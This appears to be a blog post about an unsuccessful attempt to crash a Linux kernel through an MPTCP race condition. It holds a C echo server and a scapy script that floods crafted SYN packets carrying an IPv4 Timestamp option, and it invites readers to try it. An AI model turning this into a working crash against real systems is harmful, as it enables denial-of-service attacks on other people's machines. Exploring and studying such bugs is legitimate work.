So anyway, I wanted to see if I could trigger the race condition and get the kernel to panic… but I couldn’t, at least not under UTM (maybe it’s too slow when used under a hypervisor).
The first thing you need is a TCP server with multi-path enabled (IPPROTO_MPTCP). Here’s some vibe-coded code:
#define _POSIX_C_SOURCE 200809L
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <sys/socket.h>
#ifndef IPPROTO_MPTCP
#define IPPROTO_MPTCP 262
#endif
#define PORT 5000
#define BUFFER_SIZE 4096
int main(void)
{
int server_fd, client_fd;
struct sockaddr_in addr;
char buffer[BUFFER_SIZE];
server_fd = socket(AF_INET, SOCK_STREAM, IPPROTO_MPTCP);
if (server_fd < 0) {
perror("MPTCP socket");
return EXIT_FAILURE;
}
int opt = 1;
if (setsockopt(server_fd, SOL_SOCKET, SO_REUSEADDR,
&opt, sizeof(opt)) < 0) {
perror("setsockopt");
close(server_fd);
return EXIT_FAILURE;
}
memset(&addr, 0, sizeof(addr));
addr.sin_family = AF_INET;
addr.sin_addr.s_addr = htonl(INADDR_ANY);
addr.sin_port = htons(PORT);
if (bind(server_fd, (struct sockaddr *)&addr,
sizeof(addr)) < 0) {
perror("bind");
close(server_fd);
return EXIT_FAILURE;
}
if (listen(server_fd, 5) < 0) {
perror("listen");
close(server_fd);
return EXIT_FAILURE;
}
printf("MPTCP server listening on port %d\n", PORT);
client_fd = accept(server_fd, NULL, NULL);
if (client_fd < 0) {
perror("accept");
close(server_fd);
return EXIT_FAILURE;
}
printf("Client connected\n");
ssize_t n;
while ((n = recv(client_fd, buffer,
sizeof(buffer), 0)) > 0) {
size_t sent = 0;
while (sent < (size_t)n) {
ssize_t ret = send(client_fd, buffer + sent,
(size_t)n - sent, 0);
if (ret <= 0) {
perror("send");
close(client_fd);
close(server_fd);
return EXIT_FAILURE;
}
sent += (size_t)ret;
}
}
if (n < 0)
perror("recv");
close(client_fd);
close(server_fd);
return n < 0 ? EXIT_FAILURE : EXIT_SUCCESS;
}
After compiling and running that as a server, I then used the following python script with scapy (vibe coded):
from scapy.all import IP, TCP, IPOption, sr1, RandShort, send
# 1. Define the target IP address and port
target_ip = "127.0.0.1"
target_port = 5000 # Common port, change to any port you are testing (e.g., 22, 443)
# 2. Craft the IPv4 Timestamp Option bytes
# Type = 68 (\x44), Length = 36 (\x24), Pointer = 5 (\x05), Overflow/Flag = 1 (\x01)
# Remaining 32 bytes initialized to zero for routers to fill in
ts_option_bytes = b'\x44\x24\x05\x01' + b'\x00' * 32
ts_option = IPOption(ts_option_bytes)
# 3. Construct the packet layers
# IP Layer gets the IPv4 Timestamp option.
# TCP Layer gets the SYN flag ('S') and a random source port.
packet = IP(dst=target_ip, options=[ts_option]) / TCP(sport=RandShort(), dport=target_port, flags="S")
print(f"[*] Sending TCP SYN packet to {target_ip}:{target_port} with IPv4 Timestamp Option...")
packet.show()
# 4. Send the packet and wait for a response
reply = sr1(packet, timeout=2, verbose=False)
if reply:
print("\n[+] Received reply!")
reply.show()
# Check if the target responded with a SYN-ACK or a RST
if reply.haslayer(TCP):
if reply[TCP].flags == "SA":
print(f"[!] Port {target_port} is OPEN (Received SYN-ACK)")
elif reply[TCP].flags == "RA" or reply[TCP].flags == "R":
print(f"[!] Port {target_port} is CLOSED (Received RST)")
else:
print("\n[-] No reply received. The packet or option was likely dropped by a firewall.")
while True:
# send(packet, verbose=False)
send(packet)
This script sends the IPv4 option “timestamp”, which is apparently one of the options that supposedly trigger this Linux kernel bug.
I couldn’t get it to work. The race condition is probably hard to trigger under a hypervisor (the hypervisor was set to 2 cpu cores).
But anyway, I haven’t had a look at this in depth, this was just like 15 minutes of playing around. Have a try, and good luck.
Edit: I think the problem was I needed to fully handshake the TCP connection (i.e. establish a connection) instead of just sending SYN packets.
Leave a Reply